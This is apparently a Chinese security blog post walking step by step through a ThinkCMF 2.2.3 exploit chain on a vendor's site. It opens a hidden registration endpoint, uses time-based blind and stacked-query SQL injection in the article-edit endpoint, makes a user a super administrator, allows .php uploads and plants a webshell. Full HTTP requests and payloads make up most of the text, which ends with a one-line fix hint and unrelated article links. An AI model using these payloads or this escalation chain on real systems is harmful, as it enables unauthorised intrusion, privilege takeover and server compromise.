0X00 前言

这个案例是某项目的漏洞,涉及敏感的地方将会打码。

很久没更新博客了,放一篇上来除除草,新的一年会有所转变,以后会有更多领域的研究。

下面是正文

0X01 正文

某厂商某个网站用的是thinkcmf 2.2.3。

thinkcmf 2.2.3系统是存在漏洞的,参考先知上喵呜师傅写的一篇文章(https://xz.aliyun.com/t/3529 )

文章中提到了三个漏洞,一个注入,两个模板注入写shell。

但是系统是部署在linux下面的,模板注入是不行的。

所以文章编辑处的sql注入漏洞是比较好的方法了。

但是这里的注入需要登陆。

虽然网站默认关闭了注册,登陆等前端页面展示。

但其实后端的逻辑是没有关闭的。

所以我们只要抓到注册,登陆的URL就可以注册一个用户,从而利用SQL注入漏洞了。

第一步:注册用户

因为注册用户需要用到验证码,请求验证码的URL为

http://xx.target.com/index.php?g=api&m=checkcode&a=index&length=2&font_size=14&width=100&height=34&charset=2345678&use_noise=0&use_curve=0

下面是注册请求包,把验证码放到verify参数里面

POST /index.php?g=user&m=register&a=doregister HTTP/1.1

Host: xx.target.com

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.9

Cookie: _ga=GA1.3.247321242.1547113529; _gid=GA1.3.1692231506.1547113529; Hm_lvt_fd3ebc39e3d20d958cc417964a1a070f=1547114908; GmZMlN_think_language=zh-CN; PHPSESSID=rca5i9uik29o378crgi37c0v61spvn88; _gat=1

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 72

email=r00tuser@email.com&password=xxxxxxx&repassword=xxxxxxx&verify=8486

成功注册了个用户。

第二步:登陆

同样登陆也需要验证码,同样用上面请求的URL获取一个验证码,填写在verify参数里面

请求包如下:

第三步:注入

因为thinkcmf是用thinkphp 3.2.3的,存在bind 注入,原理就不多解释了,可以参考先知喵呜写的tp安全总结。

请求包如下:

POST /index.php?g=Portal&m=Article&a=edit_post HTTP/1.1

Host: xx.target.com

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.9

Cookie: _ga=GA1.3.247321242.1547113529; _gid=GA1.3.1692231506.1547113529; Hm_lvt_fd3ebc39e3d20d958cc417964a1a070f=1547114908; GmZMlN_think_language=zh-CN; PHPSESSID=rca5i9uik29o378crgi37c0v61spvn88; _gat=1

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 184

post[post_title]=122&post[post_content]=1&term=123&post[post_title]=aaa&post_title=123&post[id][0]=bind&post[id][1]=0 and if(ascii(substr(user(),1,1))=115,benchmark(1000000,sha(1)),1)

由于程序关闭了报错,而且这里是update类型注入,所以这里只能用延时注入。

payload:and if(ascii(substr(user(),1,1))=115,benchmark(1000000,sha(1)),1)

意思为猜测当前数据库用户的首位字符的ascii码。

正常请求,返回时间为64。

当猜测ascii码为116时,返回时间为417。

因为thinkphp 底层用的是pdo所写,所以我们是可以执行多语句的。

通过一番延时注入猜测到表前缀为xxxx,表结构大多数不会变,所以我们只要猜测到表前缀即可,通过thinkcmf的源码来注入了。

下面通过注入执行多语句从而将前台用户r00tuse@email.com提升为后台管理员。

首先是注入,设置用户的user_type。

payload:;update `xxxxx_users` set user_type=1 where `user_email`=r00tuse@email.com';

这里还有一步是通过注入获取r00tuser@email.com这个用户的user_id。

payload:and if((select id from xxxx_users where user_email='r00tuser@email.com')=6,benchmark(1000000,sha(1)),1)

用户user_id为6。

接着是修改用户角色为超级管理员。

payload:;INSERT INTO `xxxx_role_user`(`role_id`,`user_id`)values(1,6);

第四步:登陆后台,修改上传配置

用户名:r00tuser@email.com 密码:xxxxxxxxxx

打开链接:http://xx.target.com/index.php?g=admin&m=public&a=login

成功登陆:

修改上传设置,添加上传文件后缀php

http://xx.target.com/index.php?g=Admin&m=Setting&a=upload

最后一步,找一个可以上传图片的地方,直接把php文件上传即可。

http://xx.target.com/index.php?g=&m=AdminPost&a=add&term=

点击图片,直接选择xx.php 即可。

请求包如下,只是打印Hello,World。

在返回包中获取到php存放地址。

最后访问链接:http://xx.target.com/data//upload//ueditor//20190111//5c3838d372091.php

成功getshell。

修复建议:

1):在底层think_filter方法添加bind过滤。具体为

文件地址:simplewind\Core\Mode\Api\functions.php

0x02 说在最后

pdo让很多注入到getshell成为了可能,从注入到getshell一套下来,整个感受就一个字,爽!

[漏洞案例]thinkcmf 2.x从sql注入到getshell实战的更多相关文章

  1. SQL注入到getshell

    SQL注入到getshell 通过本地 pikachu来复现  前提: 1.存在SQL注入漏洞 2.web目录具有写入权限 3.找到网站的绝对路径 4.secure_file_priv没有具体值(se ...

  2. DM企业建站系统v201710 sql注入漏洞分析 | 新版v201712依旧存在sql注入

    0x00 前言 本来呢,这套CMS都不想审的了.下载下来打开一看,各种debug注释,排版烂的不行. 贴几个页面看看 感觉像是新手练手的,没有审下去的欲望了. 但想了想,我tm就是新手啊,然后就继续看 ...

  3. [代码审计]DM企业建站系统v201710 sql注入漏洞分析 | 新版v201712依旧存在sql注入

    0x00 前言 本来呢,这套CMS都不想审的了.下载下来打开一看,各种debug注释,排版烂的不行. 贴几个页面看看 感觉像是新手练手的,没有审下去的欲望了. 但想了想,我tm就是新手啊,然后就继续看 ...

  4. ZZZPHP1.61 代码审计-从SQL注入到Getshell

    近期有很多小伙伴在后台留言想看关于代码审计的文章,其实有关审计的文章网上资源是比较多的,但是从代码审计开始到结束的这类文章却少之甚少. 今天要讲解的ZZZPHP1.61这套审计漏洞比较多,SQL注入漏 ...

  5. 然之协同系统6.4.1 SQL注入导致getshell

     前言 先知上一个大佬挖的洞,也有了简单的分析 https://xianzhi.aliyun.com/forum/topic/2135 我自己复现分析过程,漏洞的原理比较简单,但是漏洞的利用方式对我而 ...

  6. 【漏洞复现】PHPCMS wap模块 SQL注入(附EXP)

    漏洞影响版本:v9.5.8.v9.6.0 Step1: 访问:http://www.xxx.com/index.php?m=wap&a=index&siteid=1, 获取返回的coo ...

  7. 安全测试5_服务端的安全漏洞(SQL注入、命令注入、文件操作类)

    前面大致讲解了下客户端的安全漏洞,现在来讲解下服务端的安全漏洞. 1.SQL注入(SQL Injection),是一种常见的Web安全漏洞,攻击者利用这个漏洞,可以访问或修改数据,或者利用潜在的数据库 ...

  8. 手工检测SQL注入漏洞

    SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,具体来说,它是利用现有应用程序将(恶意的)SQL命令注入到后台数据库引擎执 ...

  9. 网站sql注入漏洞修复方案之metinfo 6.1.0系列

    近日,我们SINE安全对metinfo进行网站安全检测发现,metinfo米拓建站系统存在高危的sql注入漏洞,攻击者可以利用该漏洞对网站的代码进行sql注入攻击,伪造恶意的sql非法语句,对网站的数 ...

随机推荐

  1. geeksforgeeks-Array-Rotate and delete

    As usual Babul is again back with his problem and now with numbers. He thought of an array of number ...

  2. maven私服内容补充

    1.添加阿里云中央仓库 注意Download Remote Indexes选项为True 1.登陆nexus私服(默认账号密码:admin/admin123) 2.点击右侧Repositories 3 ...

  3. python渗透

    计划写一个获取qq空间加密相册的工具. 分析: 她的相册密码是手机号,先写一个生成手机号的脚本 空间有她之前的手机号,那么她现在的手机号也极有可能是一样的运营商,比如移动(缩小密码范围) 自己新建一个 ...

  4. Django开发笔记三

    Django开发笔记一 Django开发笔记二 Django开发笔记三 Django开发笔记四 Django开发笔记五 Django开发笔记六 1.基于类的方式重写登录:views.py: from ...

  5. SSD win7优化步骤

    随着固态硬盘价格不断下降,目前固态硬盘也得到了广泛了应用,一些新笔记本以及组装电脑也开始普遍采用固态硬盘平台,超级本就更不用说了,采用固态硬盘已经成标配化,虽然固态硬盘速度很快,但不懂的优化,依然无法 ...

  6. 【转】通过xml处理sql语句时对小于号与大于号的处理转换

    当我们需要通过xml格式处理sql语句时,经常会用到< ,<=,>,>=等符号,但是很容易引起xml格式的错误,这样会导致后台将xml字符串转换为xml文档时报错,从而导致程序 ...

  7. Expm 7_1树中的最大独立集问题

    [问题描述] 给定一个无回路的无向图(即树),设计一个动态规划算法,求出该图的最大独立集,并输出该集合中的各个顶点值. package org.xiu68.exp.exp7; import java. ...

  8. Oracle 相关概念

    注:本文来源于 <腾科OCP培训课堂>.非准许商业活动. 标题:Oracle  相关概念 --->数据库名.实例名.数据库域名.全局数据名.服务名 一:数据库名 1:什么是数据库名 ...

  9. 温故而知新--JavaScript书摘(三)

    前言 毕业到入职腾讯已经差不多一年的时光了,接触了很多项目,也积累了很多实践经验,在处理问题的方式方法上有很大的提升.随着时间的增加,愈加发现基础知识的重要性,很多开发过程中遇到的问题都是由最基础的知 ...

  10. java I/O系统 LineNumberReader类

    LineNumbeReader类可以很方便的读取文件的行号 package ch13; import java.io.*; import io.BufferedInputFile; public cl ...